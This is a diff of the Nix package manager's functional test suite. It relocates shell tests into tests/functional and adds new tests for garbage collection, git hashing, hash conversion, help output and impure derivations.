+1,5 @@ +#!/usr/bin/env bash + source common.sh set +x @@ -10,23 +12,21 @@ expect_trace() { --trace-function-calls \ --expr "$expr" 2>&1 \ | grep "function-trace" \ - | sed -e 's/ [0-9]*$//' + | sed -e 's/ [0-9]*$//' \ + || true ) echo -n "Tracing expression '$expr'" - set +e msg=$(diff -swB \ <(echo "$expect") \ <(echo "$actual") - ); - result=$? - set -e - if [ $result -eq 0 ]; then + ) && result=0 || result=$? + if [ "$result" -eq 0 ]; then echo " ok." else echo " failed. difference:" echo "$msg" - return $result + return "$result" fi } @@ -67,5 +67,3 @@ expect_trace '1 2' " function-trace entered «string»:1:1 at function-trace exited «string»:1:1 at " - -set -e diff --git a/tests/gc-auto.sh b/tests/functional/gc-auto.sh old mode 100644 new mode 100755 similarity index 91% rename from tests/gc-auto.sh rename to tests/functional/gc-auto.sh index 521d9e539..8f25be3e9 --- a/tests/gc-auto.sh +++ b/tests/functional/gc-auto.sh @@ -1,7 +1,11 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "“min-free” and “max-free” are daemon options" +TODO_NixOS + clearStore garbage1=$(nix store add-path --name garbage1 ./nar-access.sh) @@ -62,11 +66,11 @@ EOF ) nix build --impure -v -o $TEST_ROOT/result-A -L --expr "$expr" \ - --min-free 1000 --max-free 2000 --min-free-check-interval 1 & + --min-free 1K --max-free 2K --min-free-check-interval 1 & pid1=$! nix build --impure -v -o $TEST_ROOT/result-B -L --expr "$expr2" \ - --min-free 1000 --max-free 2000 --min-free-check-interval 1 & + --min-free 1K --max-free 2K --min-free-check-interval 1 & pid2=$! # Once the first build is done, unblock the second one. diff --git a/tests/gc-concurrent.builder.sh b/tests/functional/gc-concurrent.builder.sh similarity index 100% rename from tests/gc-concurrent.builder.sh rename to tests/functional/gc-concurrent.builder.sh diff --git a/tests/gc-concurrent.nix b/tests/functional/gc-concurrent.nix similarity index 100% rename from tests/gc-concurrent.nix rename to tests/functional/gc-concurrent.nix diff --git a/tests/gc-concurrent.sh b/tests/functional/gc-concurrent.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/gc-concurrent.sh rename to tests/functional/gc-concurrent.sh index 2c6622c62..df180b14f --- a/tests/gc-concurrent.sh +++ b/tests/functional/gc-concurrent.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore lockFifo1=$TEST_ROOT/test1.fifo @@ -18,8 +22,8 @@ outPath3=$(nix-store -r $drvPath3) touch $outPath3.lock rm -f "$NIX_STATE_DIR"/gcroots/foo* -ln -s $drvPath2 "$NIX_STATE_DIR"/gcroots/foo -ln -s $outPath3 "$NIX_STATE_DIR"/gcroots/foo2 +ln -s $drvPath2 "$NIX_STATE_DIR/gcroots/foo" +ln -s $outPath3 "$NIX_STATE_DIR/gcroots/foo2" # Start build #1 in the background. It starts immediately. nix-store -rvv "$drvPath1" & diff --git a/tests/gc-concurrent2.builder.sh b/tests/functional/gc-concurrent2.builder.sh similarity index 100% rename from tests/gc-concurrent2.builder.sh rename to tests/functional/gc-concurrent2.builder.sh diff --git a/tests/functional/gc-non-blocking.sh b/tests/functional/gc-non-blocking.sh new file mode 100755 index 000000000..de10837eb --- /dev/null +++ b/tests/functional/gc-non-blocking.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash + +# Test whether the collector is non-blocking, i.e. a build can run in +# parallel with it. +source common.sh + +TODO_NixOS + +needLocalStore "the GC test needs a synchronisation point" + +clearStore + +# This FIFO is read just after the global GC lock has been acquired, +# but before the root server is started. +fifo1=$TEST_ROOT/test2.fifo +mkfifo "$fifo1" + +# This FIFO is read just after the roots have been read, but before +# the actual GC starts. +fifo2=$TEST_ROOT/test.fifo +mkfifo "$fifo2" + +dummy=$(nix store add-path ./simple.nix) + +running=$TEST_ROOT/running +touch $running + +# Start GC. +(_NIX_TEST_GC_SYNC_1=$fifo1 _NIX_TEST_GC_SYNC_2=$fifo2 nix-store --gc -vvvvv; rm $running) & +pid=$! + +sleep 2 + +# Delay the start of the root server to check that the build below +# correctly handles ENOENT when connecting to the root server. +(sleep 1; echo > $fifo1) & +pid2=$! + +# Start a build. This should not be blocked by the GC in progress. +outPath=$(nix-build --max-silent-time 60 -o "$TEST_ROOT/result" -E " + with import ./config.nix; + mkDerivation { + name = \"non-blocking\"; + buildCommand = \"set -x; test -e $running; mkdir \$out; echo > $fifo2\"; + }") + +wait $pid +wait $pid2 + +(! test -e $running) +(! test -e $dummy) +test -e $outPath diff --git a/tests/gc-runtime.nix b/tests/functional/gc-runtime.nix similarity index 100% rename from tests/gc-runtime.nix rename to tests/functional/gc-runtime.nix diff --git a/tests/functional/gc-runtime.sh b/tests/functional/gc-runtime.sh new file mode 100755 index 000000000..0cccaaf16 --- /dev/null +++ b/tests/functional/gc-runtime.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash + +source common.sh + +case $system in + *linux*) + ;; + *) + skipTest "Not running Linux"; +esac + +set -m # enable job control, needed for kill + +TODO_NixOS + +profiles="$NIX_STATE_DIR"/profiles +rm -rf "$profiles" + +nix-env -p "$profiles/test" -f ./gc-runtime.nix -i gc-runtime + +outPath=$(nix-env -p "$profiles/test" -q --no-name --out-path gc-runtime) +echo "$outPath" + +echo "backgrounding program..." +"$profiles"/test/program & +sleep 2 # hack - wait for the program to get started +child=$! +echo PID=$child + +nix-env -p "$profiles/test" -e gc-runtime +nix-env -p "$profiles/test" --delete-generations old + +nix-store --gc + +kill -- -$child + +if ! test -e "$outPath"; then + echo "running program was garbage collected!" + exit 1 +fi + +exit 0 diff --git a/tests/gc.sh b/tests/functional/gc.sh old mode 100644 new mode 100755 similarity index 88% rename from tests/gc.sh rename to tests/functional/gc.sh index ad09a8b39..7707a7e27 --- a/tests/gc.sh +++ b/tests/functional/gc.sh @@ -1,13 +1,17 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore drvPath=$(nix-instantiate dependencies.nix) outPath=$(nix-store -rvv "$drvPath") # Set a GC root. -rm -f "$NIX_STATE_DIR"/gcroots/foo -ln -sf $outPath "$NIX_STATE_DIR"/gcroots/foo +rm -f "$NIX_STATE_DIR/gcroots/foo" +ln -sf $outPath "$NIX_STATE_DIR/gcroots/foo" [ "$(nix-store -q --roots $outPath)" = "$NIX_STATE_DIR/gcroots/foo -> $outPath" ] @@ -40,7 +44,7 @@ cat $outPath/reference-to-input-2/bar # Check that the derivation has been GC'd. if test -e $drvPath; then false; fi -rm "$NIX_STATE_DIR"/gcroots/foo +rm "$NIX_STATE_DIR/gcroots/foo" nix-collect-garbage diff --git a/tests/functional/git-hashing/common.sh b/tests/functional/git-hashing/common.sh new file mode 100644 index 000000000..29c518fea --- /dev/null +++ b/tests/functional/git-hashing/common.sh @@ -0,0 +1,13 @@ +source ../common.sh + +TODO_NixOS # Need to enable git hashing feature and make sure test is ok for store we don't clear + +clearStore +clearCache + +# Need backend to support git-hashing too +requireDaemonNewerThan "2.19" + +enableFeatures "git-hashing" + +restartDaemon diff --git a/tests/functional/git-hashing/local.mk b/tests/functional/git-hashing/local.mk new file mode 100644 index 000000000..ebec01940 --- /dev/null +++ b/tests/functional/git-hashing/local.mk @@ -0,0 +1,7 @@ +git-hashing-tests := \ + $(d)/simple.sh + +install-tests-groups += git-hashing + +clean-files += \ + $(d)/config.nix diff --git a/tests/functional/git-hashing/meson.build b/tests/functional/git-hashing/meson.build new file mode 100644 index 000000000..7486bfb8f --- /dev/null +++ b/tests/functional/git-hashing/meson.build @@ -0,0 +1,8 @@ +suites += { + 'name': 'git-hashing', + 'deps': [], + 'tests': [ + 'simple.sh', + ], + 'workdir': meson.current_build_dir(), +} diff --git a/tests/functional/git-hashing/simple.sh b/tests/functional/git-hashing/simple.sh new file mode 100644 index 000000000..f43168eb2 --- /dev/null +++ b/tests/functional/git-hashing/simple.sh @@ -0,0 +1,77 @@ +source common.sh + +repo="$TEST_ROOT/scratch" +git init "$repo" + +git -C "$repo" config user.email "you@example.com" +git -C "$repo" config user.name "Your Name" + +# Compare Nix's and git's implementation of git hashing +try () { + local hash=$(nix hash path --mode git --format base16 --algo sha1 $TEST_ROOT/hash-path) + [[ "$hash" == "$1" ]] + + git -C "$repo" rm -rf hash-path || true + cp -r "$TEST_ROOT/hash-path" "$TEST_ROOT/scratch/hash-path" + git -C "$repo" add hash-path + git -C "$repo" commit -m "x" + git -C "$repo" status + local hash2=$(git -C "$TEST_ROOT/scratch" rev-parse HEAD:hash-path) + [[ "$hash2" = "$1" ]] +} + +# blob +rm -rf $TEST_ROOT/hash-path +echo "Hello World" > $TEST_ROOT/hash-path +try "557db03de997c86a4a028e1ebd3a1ceb225be238" + +# tree with children +rm -rf $TEST_ROOT/hash-path +mkdir $TEST_ROOT/hash-path +echo "Hello World" > $TEST_ROOT/hash-path/hello +echo "Run Hello World" > $TEST_ROOT/hash-path/executable +chmod +x $TEST_ROOT/hash-path/executable +try "e5c0a11a556801a5c9dcf330ca9d7e2c572697f4" + +# Check Nix added object has matching git hash +try2 () { + local hashPath="$1" + local expected="$2" + + local path=$(nix store add --mode git --hash-algo sha1 "$repo/$hashPath") + + git -C "$repo" add "$hashPath" + git -C "$repo" commit -m "x" + git -C "$repo" status + local hashFromGit=$(git -C "$repo" rev-parse "HEAD:$hashPath") + [[ "$hashFromGit" == "$2" ]] + + local caFromNix=$(nix path-info --json "$path" | jq -r ".[] | .ca") + [[ "fixed:git:sha1:$(nix hash convert --to nix32 "sha1:$hashFromGit")" = "$caFromNix" ]] +} + +rm -rf "$repo/dummy1" +echo Hello World! > "$repo/dummy1" +try2 dummy1 "980a0d5f19a64b4b30a87d4206aade58726b60e3" + +rm -rf "$repo/dummy2" +mkdir -p "$repo/dummy2" +echo Hello World! > "$repo/dummy2/hello" +try2 dummy2 "8b8e43b937854f4083ea56777821abda2799e850" + +rm -rf "$repo/dummy3" +mkdir -p "$repo/dummy3" +mkdir -p "$repo/dummy3/dir" +touch "$repo/dummy3/dir/file" +echo Hello World! > "$repo/dummy3/dir/file" +touch "$repo/dummy3/dir/executable" +chmod +x "$repo/dummy3/dir/executable" +echo Run Hello World! > "$repo/dummy3/dir/executable" +try2 dummy3 "f227adfaf60d2778aabbf93df6dd061272d2dc85" + +rm -rf "$repo/dummy4" +mkdir -p "$repo/dummy4" +mkdir -p "$repo/dummy4/dir" +touch "$repo/dummy4/dir/file" +ln -s './hello/world.txt' "$repo/dummy4/dir/symlink" +try2 dummy4 "06f3e789820fc488d602358f03e3a1cbf993bf33" diff --git a/tests/hash-check.nix b/tests/functional/hash-check.nix similarity index 100% rename from tests/hash-check.nix rename to tests/functional/hash-check.nix diff --git a/tests/functional/hash-convert.sh b/tests/functional/hash-convert.sh new file mode 100755 index 000000000..3a099950f --- /dev/null +++ b/tests/functional/hash-convert.sh @@ -0,0 +1,107 @@ +#!/usr/bin/env bash + +source common.sh + +# Conversion with `nix hash` `nix-hash` and `nix hash convert` +try3() { + # $1 = hash algo + # $2 = expected hash in base16 + # $3 = expected hash in base32 + # $4 = expected hash in base64 + h64=$(nix hash convert --hash-algo "$1" --to base64 "$2") + [ "$h64" = "$4" ] + h64=$(nix-hash --type "$1" --to-base64 "$2") + [ "$h64" = "$4" ] + # Deprecated experiment + h64=$(nix hash to-base64 --type "$1" "$2") + [ "$h64" = "$4" ] + + sri=$(nix hash convert --hash-algo "$1" --to sri "$2") + [ "$sri" = "$1-$4" ] + sri=$(nix-hash --type "$1" --to-sri "$2") + [ "$sri" = "$1-$4" ] + sri=$(nix hash to-sri --type "$1" "$2") + [ "$sri" = "$1-$4" ] + h32=$(nix hash convert --hash-algo "$1" --to base32 "$2") + [ "$h32" = "$3" ] + h32=$(nix-hash --type "$1" --to-base32 "$2") + [ "$h32" = "$3" ] + h32=$(nix hash to-base32 --type "$1" "$2") + [ "$h32" = "$3" ] + h16=$(nix-hash --type "$1" --to-base16 "$h32") + [ "$h16" = "$2" ] + + h16=$(nix hash convert --hash-algo "$1" --to base16 "$h64") + [ "$h16" = "$2" ] + h16=$(nix hash to-base16 --type "$1" "$h64") + [ "$h16" = "$2" ] + h16=$(nix hash convert --to base16 "$sri") + [ "$h16" = "$2" ] + h16=$(nix hash to-base16 "$sri") + [ "$h16" = "$2" ] + + # + # Converting from SRI + # + + # Input hash algo auto-detected from SRI and output defaults to SRI as well. + sri=$(nix hash convert "$1-$4") + [ "$sri" = "$1-$4" ] + + sri=$(nix hash convert --from sri "$1-$4") + [ "$sri" = "$1-$4" ] + + sri=$(nix hash convert --to sri "$1-$4") + [ "$sri" = "$1-$4" ] + + sri=$(nix hash convert --from sri --to sri "$1-$4") + [ "$sri" = "$1-$4" ] + + sri=$(nix hash convert --to base64 "$1-$4") + [ "$sri" = "$4" ] + + # + # Auto-detecting the input from algo and length. + # + + sri=$(nix hash convert --hash-algo "$1" "$2") + [ "$sri" = "$1-$4" ] + sri=$(nix hash convert --hash-algo "$1" "$3") + [ "$sri" = "$1-$4" ] + sri=$(nix hash convert --hash-algo "$1" "$4") + [ "$sri" = "$1-$4" ] + + sri=$(nix hash convert --hash-algo "$1" "$2") + [ "$sri" = "$1-$4" ] + sri=$(nix hash convert --hash-algo "$1" "$3") + [ "$sri" = "$1-$4" ] + sri=$(nix hash convert --hash-algo "$1" "$4") + [ "$sri" = "$1-$4" ] + + # + # Asserting input format succeeds. + # + + sri=$(nix hash convert --hash-algo "$1" --from base16 "$2") + [ "$sri" = "$1-$4" ] + sri=$(nix hash convert --hash-algo "$1" --from nix32 "$3") + [ "$sri" = "$1-$4" ] + sri=$(nix hash convert --hash-algo "$1" --from base64 "$4") + [ "$sri" = "$1-$4" ] + + # + # Asserting input format fails. + # + + fail=$(nix hash convert --hash-algo "$1" --from nix32 "$2" 2>&1 || echo "exit: $?") + [[ "$fail" == *"error: input hash"*"exit: 1" ]] + fail=$(nix hash convert --hash-algo "$1" --from base16 "$3" 2>&1 || echo "exit: $?") + [[ "$fail" == *"error: input hash"*"exit: 1" ]] + fail=$(nix hash convert --hash-algo "$1" --from nix32 "$4" 2>&1 || echo "exit: $?") + [[ "$fail" == *"error: input hash"*"exit: 1" ]] + +} + +try3 sha1 "800d59cfcd3c05e900cb4e214be48f6b886a08df" "vw46m23bizj4n8afrc0fj19wrp7mj3c0" "gA1Zz808BekAy04hS+SPa4hqCN8=" +try3 sha256 "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" "1b8m03r63zqhnjf7l5wnldhh7c134ap5vpj0850ymkq1iyzicy5s" "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=" +try3 sha512 "204a8fc6dda82f0a0ced7beb8e08a41657c16ef468b228a8279be331a703c33596fd15c13b1b07f9aa1d3bea57789ca031ad85c7a71dd70354ec631238ca3445" "12k9jiq29iyqm03swfsgiw5mlqs173qazm3n7daz43infy12pyrcdf30fkk3qwv4yl2ick8yipc2mqnlh48xsvvxl60lbx8vp38yji0" "IEqPxt2oLwoM7XvrjgikFlfBbvRosiioJ5vjMacDwzWW/RXBOxsH+aodO+pXeJygMa2Fx6cd1wNU7GMSOMo0RQ==" diff --git a/tests/hash.sh b/tests/functional/hash-path.sh old mode 100644 new mode 100755 similarity index 57% rename from tests/hash.sh rename to tests/functional/hash-path.sh index e5f75e2cf..86d782a95 --- a/tests/hash.sh +++ b/tests/functional/hash-path.sh @@ -1,14 +1,27 @@ +#!/usr/bin/env bash + source common.sh try () { - printf "%s" "$2" > $TEST_ROOT/vector - hash=$(nix hash file --base16 $EXTRA --type "$1" $TEST_ROOT/vector) - if test "$hash" != "$3"; then - echo "hash $1, expected $3, got $hash" + printf "%s" "$2" > "$TEST_ROOT/vector" + hash="$(nix-hash --flat ${FORMAT+--$FORMAT} --type "$1" "$TEST_ROOT/vector")" + if ! (( "${NO_TEST_CLASSIC-}" )) && test "$hash" != "$3"; then + echo "try nix-hash: hash $1, expected $3, got $hash" + exit 1 + fi + hash="$(nix hash file ${FORMAT+--$FORMAT} --type "$1" "$TEST_ROOT/vector")" + if ! (( "${NO_TEST_NIX_COMMAND-}" )) && test "$hash" != "$3"; then + echo "try nix hash: hash $1, expected $3, got $hash" + exit 1 + fi + hash="$(nix hash path --mode flat ${FORMAT+--format $FORMAT} --algo "$1" "$TEST_ROOT/vector")" + if ! (( "${NO_TEST_NIX_COMMAND-}" )) && test "$hash" != "$3"; then + echo "try nix hash: hash $1, expected $3, got $hash" exit 1 fi } +FORMAT=base16 try md5 "" "d41d8cd98f00b204e9800998ecf8427e" try md5 "a" "0cc175b9c0f1b6a831c399e269772661" try md5 "abc" "900150983cd24fb0d6963f7d28e17f72" @@ -28,60 +41,54 @@ try sha256 "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" "248d6a61d try sha512 "" "cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e" try sha512 "abc" "ddaf35a193617abacc417349ae20413112e6fa4e89a97ea20a9eeee64b55d39a2192992a274fc1a836ba3c23a3feebbd454d4423643ce80e2a9ac94fa54ca49f" try sha512 "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" "204a8fc6dda82f0a0ced7beb8e08a41657c16ef468b228a8279be331a703c33596fd15c13b1b07f9aa1d3bea57789ca031ad85c7a71dd70354ec631238ca3445" +unset FORMAT -EXTRA=--base32 +FORMAT=base32 try sha256 "abc" "1b8m03r63zqhnjf7l5wnldhh7c134ap5vpj0850ymkq1iyzicy5s" -EXTRA= +unset FORMAT -EXTRA=--sri +FORMAT=sri try sha512 "" "sha512-z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXcg/SpIdNs6c5H0NE8XYXysP+DGNKHfuwvY7kxvUdBeoGlODJ6+SfaPg==" try sha512 "abc" "sha512-3a81oZNherrMQXNJriBBMRLm+k6JqX6iCp7u5ktV05ohkpkqJ0/BqDa6PCOj/uu9RU1EI2Q86A4qmslPpUyknw==" try sha512 "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" "sha512-IEqPxt2oLwoM7XvrjgikFlfBbvRosiioJ5vjMacDwzWW/RXBOxsH+aodO+pXeJygMa2Fx6cd1wNU7GMSOMo0RQ==" try sha256 "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" "sha256-JI1qYdIGOLjlwCaTDD5gOaM85Flk/yFn9uzt1BnbBsE=" +unset FORMAT + +# nix-hash [--flat] defaults to the Base16 format +NO_TEST_NIX_COMMAND=1 try sha512 "abc" "ddaf35a193617abacc417349ae20413112e6fa4e89a97ea20a9eeee64b55d39a2192992a274fc1a836ba3c23a3feebbd454d4423643ce80e2a9ac94fa54ca49f" + +# nix hash [file|path] defaults to the SRI format +NO_TEST_CLASSIC=1 try sha512 "abc" "sha512-3a81oZNherrMQXNJriBBMRLm+k6JqX6iCp7u5ktV05ohkpkqJ0/BqDa6PCOj/uu9RU1EI2Q86A4qmslPpUyknw==" try2 () { - hash=$(nix-hash --type "$1" $TEST_ROOT/hash-path) + hash=$(nix-hash --type "$1" "$TEST_ROOT/hash-path") if test "$hash" != "$2"; then - echo "hash $1, expected $2, got $hash" + echo "try nix-hash; hash $1, expected $2, got $hash" + exit 1 + fi + hash="$(nix hash path --mode nar --format base16 --algo "$1" "$TEST_ROOT/hash-path")" + if test "$hash" != "$2"; then + echo "try nix hash: hash $1, expected $2, got $hash" exit 1 fi } -rm -rf $TEST_ROOT/hash-path -mkdir $TEST_ROOT/hash-path -echo "Hello World" > $TEST_ROOT/hash-path/hello +rm -rf "$TEST_ROOT/hash-path" +mkdir "$TEST_ROOT/hash-path" +echo "Hello World" > "$TEST_ROOT/hash-path/hello" try2 md5 "ea9b55537dd4c7e104515b2ccfaf4100" # Execute bit matters. -chmod +x $TEST_ROOT/hash-path/hello +chmod +x "$TEST_ROOT/hash-path/hello" try2 md5 "20f3ffe011d4cfa7d72bfabef7882836" # Mtime and other bits don't. -touch -r . $TEST_ROOT/hash-path/hello -chmod 744 $TEST_ROOT/hash-path/hello +touch -r . "$TEST_ROOT/hash-path/hello" +chmod 744 "$TEST_ROOT/hash-path/hello" try2 md5 "20f3ffe011d4cfa7d72bfabef7882836" # File type (e.g., symlink) does. -rm $TEST_ROOT/hash-path/hello -ln -s x $TEST_ROOT/hash-path/hello +rm "$TEST_ROOT/hash-path/hello" +ln -s x "$TEST_ROOT/hash-path/hello" try2 md5 "f78b733a68f5edbdf9413899339eaa4a" - -# Conversion. -try3() { - h64=$(nix hash to-base64 --type "$1" "$2") - [ "$h64" = "$4" ] - sri=$(nix hash to-sri --type "$1" "$2") - [ "$sri" = "$1-$4" ] - h32=$(nix-hash --type "$1" --to-base32 "$2") - [ "$h32" = "$3" ] - h16=$(nix-hash --type "$1" --to-base16 "$h32") - [ "$h16" = "$2" ] - h16=$(nix hash to-base16 --type "$1" "$h64") - [ "$h16" = "$2" ] - h16=$(nix hash to-base16 "$sri") - [ "$h16" = "$2" ] -} -try3 sha1 "800d59cfcd3c05e900cb4e214be48f6b886a08df" "vw46m23bizj4n8afrc0fj19wrp7mj3c0" "gA1Zz808BekAy04hS+SPa4hqCN8=" -try3 sha256 "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" "1b8m03r63zqhnjf7l5wnldhh7c134ap5vpj0850ymkq1iyzicy5s" "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=" -try3 sha512 "204a8fc6dda82f0a0ced7beb8e08a41657c16ef468b228a8279be331a703c33596fd15c13b1b07f9aa1d3bea57789ca031ad85c7a71dd70354ec631238ca3445" "12k9jiq29iyqm03swfsgiw5mlqs173qazm3n7daz43infy12pyrcdf30fkk3qwv4yl2ick8yipc2mqnlh48xsvvxl60lbx8vp38yji0" "IEqPxt2oLwoM7XvrjgikFlfBbvRosiioJ5vjMacDwzWW/RXBOxsH+aodO+pXeJygMa2Fx6cd1wNU7GMSOMo0RQ==" diff --git a/tests/functional/help.sh b/tests/functional/help.sh new file mode 100755 index 000000000..61efc1cb2 --- /dev/null +++ b/tests/functional/help.sh @@ -0,0 +1,69 @@ +#!/usr/bin/env bash + +source common.sh + +# test help output + +nix-build --help +nix-shell --help + +nix-env --help +nix-env --install --help +nix-env --upgrade --help +nix-env --uninstall --help +nix-env --set --help +nix-env --set-flag --help +nix-env --query --help +nix-env --switch-profile --help +nix-env --list-generations --help +nix-env --delete-generations --help +nix-env --switch-generation --help +nix-env --rollback --help + +nix-store --help +nix-store --realise --help +nix-store --serve --help +nix-store --gc --help +nix-store --delete --help +nix-store --query --help +nix-store --add --help +nix-store --add-fixed --help +nix-store --verify --help +nix-store --verify-path --help +nix-store --repair-path --help +nix-store --dump --help +nix-store --restore --help +nix-store --export --help +nix-store --import --help +nix-store --optimise --help +nix-store --read-log --help +nix-store --dump-db --help +nix-store --load-db --help +nix-store --print-env --help +nix-store --generate-binary-cache-key --help + +nix-channel --help +nix-collect-garbage --help +nix-copy-closure --help +nix-daemon --help +nix-hash --help +nix-instantiate --help +nix-prefetch-url --help + +function subcommands() { + jq -r ' +def recurse($prefix): + to_entries[] | + ($prefix + [.key]) as $newPrefix | + (if .value | has("commands") then + ($newPrefix, (.value.commands | recurse($newPrefix))) + else + $newPrefix + end); +.args.commands | recurse([]) | join(" ") +' +} + +nix __dump-cli | subcommands | while IFS= read -r cmd; do + nix $cmd --help +done diff --git a/tests/functional/hermetic.nix b/tests/functional/hermetic.nix new file mode 100644 index 000000000..d1dccdff3 --- /dev/null +++ b/tests/functional/hermetic.nix @@ -0,0 +1,64 @@ +{ busybox +, seed +# If we want the final derivation output to have references to its +# dependencies. Some tests need/want this, other don't. +, withFinalRefs ? false +}: + +with import ./config.nix; + +let + contentAddressedByDefault = builtins.getEnv "NIX_TESTS_CA_BY_DEFAULT" == "1"; + caArgs = if contentAddressedByDefault then { + __contentAddressed = true; + outputHashMode = "recursive"; + outputHashAlgo = "sha256"; + } else {}; + + mkDerivation = args: + derivation ({ + inherit system; + builder = busybox; + args = ["sh" "-e" args.builder or (builtins.toFile "builder-${args.name}.sh" '' + if [ -e "$NIX_ATTRS_SH_FILE" ]; then source $NIX_ATTRS_SH_FILE; fi; + eval "$buildCommand" + '')]; + } // removeAttrs args ["builder" "meta" "passthru"] + // caArgs) + // { meta = args.meta or {}; passthru = args.passthru or {}; }; + + input1 = mkDerivation { + shell = busybox; + name = "hermetic-input-1"; + buildCommand = "echo hi-input1 seed=${toString seed}; echo FOO > $out"; + }; + + input2 = mkDerivation { + shell = busybox; + name = "hermetic-input-2"; + buildCommand = "echo hi; echo BAR > $out"; + }; + + input3 = mkDerivation { + shell = busybox; + name = "hermetic-input-3"; + buildCommand = '' + echo hi-input3 + read x < ${input2} + echo ${input2} $x BAZ > $out + ''; + }; + +in + + mkDerivation { + shell = busybox; + name = "hermetic"; + passthru = { inherit input1 input2 input3; }; + buildCommand = + '' + read x < ${input1} + read y < ${input3} + echo ${if (builtins.trace withFinalRefs withFinalRefs) then "${input1} ${input3}" else ""} "$x $y" > $out + ''; + } diff --git a/tests/functional/ifd.nix b/tests/functional/ifd.nix new file mode 100644 index 000000000..d0b9b54ad --- /dev/null +++ b/tests/functional/ifd.nix @@ -0,0 +1,10 @@ +with import ./config.nix; +import ( + mkDerivation { + name = "foo"; + bla = import ./dependencies.nix {}; + buildCommand = " + echo \\\"hi\\\" > $out + "; + } +) diff --git a/tests/import-derivation.nix b/tests/functional/import-derivation.nix similarity index 100% rename from tests/import-derivation.nix rename to tests/functional/import-derivation.nix diff --git a/tests/import-derivation.sh b/tests/functional/import-derivation.sh old mode 100644 new mode 100755 similarity index 75% rename from tests/import-derivation.sh rename to tests/functional/import-derivation.sh index 98d61ef49..68ddcfa4a --- a/tests/import-derivation.sh +++ b/tests/functional/import-derivation.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible if nix-instantiate --readonly-mode ./import-derivation.nix; then echo "read-only evaluation of an imported derivation unexpectedly failed" @@ -9,4 +11,4 @@ fi outPath=$(nix-build ./import-derivation.nix --no-out-link) -[ "$(cat $outPath)" = FOO579 ] +[ "$(cat "$outPath")" = FOO579 ] diff --git a/tests/impure-derivations.nix b/tests/functional/impure-derivations.nix similarity index 100% rename from tests/impure-derivations.nix rename to tests/functional/impure-derivations.nix diff --git a/tests/impure-derivations.sh b/tests/functional/impure-derivations.sh old mode 100644 new mode 100755 similarity index 71% rename from tests/impure-derivations.sh rename to tests/functional/impure-derivations.sh index 23a193833..5dea220fe --- a/tests/impure-derivations.sh +++ b/tests/functional/impure-derivations.sh @@ -1,17 +1,28 @@ +#!/usr/bin/env bash + source common.sh requireDaemonNewerThan "2.8pre20220311" +TODO_NixOS + enableFeatures "ca-derivations impure-derivations" restartDaemon -set -o pipefail - -clearStore +clearStoreIfPossible # Basic test of impure derivations: building one a second time should not use the previous result. printf 0 > $TEST_ROOT/counter +# `nix derivation add` with impure derivations work +drvPath=$(nix-instantiate ./impure-derivations.nix -A impure) +nix derivation show $drvPath | jq .[] > $TEST_HOME/impure-drv.json +drvPath2=$(nix derivation add < $TEST_HOME/impure-drv.json) +[[ "$drvPath" = "$drvPath2" ]] + +# But only with the experimental feature! +expectStderr 1 nix derivation add < $TEST_HOME/impure-drv.json --experimental-features nix-command | grepQuiet "experimental Nix feature 'impure-derivations' is disabled" + nix build --dry-run --json --file ./impure-derivations.nix impure.all json=$(nix build -L --no-link --json --file ./impure-derivations.nix impure.all) path1=$(echo $json | jq -r .[].outputs.out) @@ -39,8 +50,8 @@ path4=$(nix build -L --no-link --json --file ./impure-derivations.nix impureOnIm (! nix build -L --no-link --json --file ./impure-derivations.nix inputAddressed 2>&1) | grep 'depends on impure derivation' drvPath=$(nix eval --json --file ./impure-derivations.nix impure.drvPath | jq -r .) -[[ $(nix show-derivation $drvPath | jq ".[\"$drvPath\"].outputs.out.impure") = true ]] -[[ $(nix show-derivation $drvPath | jq ".[\"$drvPath\"].outputs.stuff.impure") = true ]] +[[ $(nix derivation show $drvPath | jq ".[\"$drvPath\"].outputs.out.impure") = true ]] +[[ $(nix derivation show $drvPath | jq ".[\"$drvPath\"].outputs.stuff.impure") = true ]] # Fixed-output derivations *can* depend on impure derivations. path5=$(nix build -L --no-link --json --file ./impure-derivations.nix contentAddressed | jq -r .[].outputs.out) @@ -56,3 +67,7 @@ path5=$(nix build -L --no-link --json --file ./impure-derivations.nix contentAdd path6=$(nix build -L --no-link --json --file ./impure-derivations.nix inputAddressedAfterCA | jq -r .[].outputs.out) [[ $(< $path6) = X ]] [[ $(< $TEST_ROOT/counter) = 5 ]] + +# Test nix/fetchurl.nix. +path7=$(nix build -L --no-link --print-out-paths --expr "import { impure = true; url = file://$PWD/impure-derivations.sh; }") +cmp $path7 $PWD/impure-derivations.sh diff --git a/tests/functional/impure-env.nix b/tests/functional/impure-env.nix new file mode 100644 index 000000000..2b0380ed7 --- /dev/null +++ b/tests/functional/impure-env.nix @@ -0,0 +1,16 @@ +{ var, value }: + +with import ./config.nix; + +mkDerivation { + name = "test"; + buildCommand = '' + echo ${var} = "''$${var}" + echo -n "''$${var}" > "$out" + ''; + + impureEnvVars = [ var ]; + + outputHashAlgo = "sha256"; + outputHash = builtins.hashString "sha256" value; +} diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh new file mode 100755 index 000000000..ca32c1030 --- /dev/null +++ b/tests/functional/impure-env.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash + +source common.sh + +# Needs the config option 'impure-env' to work +requireDaemonNewerThan "2.19.0" + +TODO_NixOS + +enableFeatures "configurable-impure-env" 